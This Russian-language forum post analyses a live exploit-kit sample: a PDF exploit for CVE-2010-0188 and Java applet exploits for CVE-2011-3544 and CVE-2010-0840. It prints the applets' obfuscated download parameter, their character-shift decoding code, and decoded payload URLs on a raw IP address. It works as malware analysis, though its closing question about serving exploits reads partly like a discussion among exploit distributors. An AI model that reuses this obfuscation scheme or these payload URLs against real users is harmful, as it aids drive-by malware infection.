Хотя я уже давно видел топ об аренде , и скрины статистики на блоге xylibox, но только недавно наткнулся на живой сэмпл в трекере
Итак открыв стандартный набор утилит для ковыряния связок, начнемс наше исследование
под User-agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)
toptours.grantandamy.net/index.php?showtopic=686579
Сразу же возникают вопросы-а где же проверка уязвимых версий плагинов?Зачем лишний раз палить сплоиты?
Возможно, лучше выдавать сплоиты средствами JavaScript?
Ладно, возьмемся за декод сплоентов, которые я поснимал:
lsff.pdf - libtiff CVE-2010-0188
rhin.jar - java rhino CVE-2011-3544
Loo.jar - java OBE CVE-2010-0840
Начнем с rhin.jar - как видим апплету передается параметр:
Код:
<param name="dest" value="lxxt>337525<825=629<3pseh2tltCwls{jsvyqAvlmrs">
Это линк на скачку ехе, за его расшифровку отвечает участок кода:
Код:
String uri = getParameter("delogolst".replace("logol", ""));
String duri = "";
for (int i = 0; i < uri.length(); ++i)
{
int rt = uri.charAt(i);
rt -= 4;
duri = duri + (char)rt;
}
Код:
var uri="lxxt>337525<825=629<3pseh2tltCwls{jsvyqAvlmrs";
var rt, i;
var duri='';
for (i = 0; i < uri.length; ++i) {
rt =uri.charCodeAt(i);
rt = rt- 4;
duri = duri + String.fromCharCode(rt);
}
document.write(duri);
Код:
String uri = "lxxt>337525<825=629<3pseh2tltCwls{jsvyqAsfi";
String duri = "";
for (int i = 0; i < uri.length(); ++i) {
int rt = uri.charAt(i);
rt -= 4;
System.out.println(rt);
duri = duri + (char)rt;
}
System.out.println(duri);hххp://31.184.192.58/load.php?showforum=rhino
Код:
<param name="dest" value="lxxt>337525<825=629<3pseh2tltCwls{jsvyqAsfi">
Код:
String ddswh = getParameter("dejjwst".replace("jjw", ""));
String dddswh = "";
for (int s = 0; s < ddswh.length(); ++s)
{
int jds = ddswh.charAt(s);
jds -= 4;
dddswh = dddswh + (char)jds;
}hххp://31.184.192.58/load.php?showforum=obe
Для анализа будем использовать PDFStreamsDumper
Нас интересует 8 0 obj, который под флатом
Скрипт для декода pdfdec.js
Сам js в decoded.txt
ШК в либтифе поксорен
Вот, собственно, и всё.
===================================================================
P.S. Хотелось бы услышать мнения форумчан по поводу такого подхода в выдаче сплоитов.
===================================================================
